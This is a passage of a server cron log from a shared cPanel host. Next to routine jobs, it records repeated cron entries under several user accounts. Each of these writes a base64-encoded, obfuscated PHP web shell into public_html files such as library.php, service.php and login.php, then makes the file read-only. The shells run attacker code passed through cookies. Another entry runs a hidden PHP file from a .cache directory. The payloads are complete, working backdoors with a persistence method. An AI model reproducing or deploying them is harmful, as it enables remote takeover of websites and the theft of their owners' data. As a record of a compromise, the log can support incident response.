fZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:42:01 medusa CROND[21033]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:42:01 medusa CROND[21034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:42:01 medusa CROND[21035]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:42:01 medusa CROND[21039]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:42:01 medusa CROND[21040]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:42:01 medusa CROND[21043]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:42:01 medusa CROND[21045]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:42:01 medusa CROND[21042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:42:01 medusa CROND[21044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:42:01 medusa CROND[21048]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:43:01 medusa CROND[15999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:43:02 medusa CROND[16086]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:43:02 medusa CROND[16088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:43:02 medusa CROND[16089]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:43:02 medusa CROND[16090]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:43:02 medusa CROND[16092]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 05:43:02 medusa CROND[16097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:43:02 medusa CROND[16098]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:43:02 medusa CROND[16101]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:43:02 medusa CROND[16106]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:43:02 medusa CROND[16107]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:43:02 medusa CROND[16108]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:43:02 medusa CROND[16111]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 05:43:02 medusa CROND[16113]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:44:01 medusa CROND[7804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:44:01 medusa CROND[7877]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:44:01 medusa CROND[7878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:44:01 medusa CROND[7901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:44:01 medusa CROND[7912]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:44:01 medusa CROND[7913]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:44:01 medusa CROND[7914]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:44:01 medusa CROND[7915]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:44:01 medusa CROND[7916]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
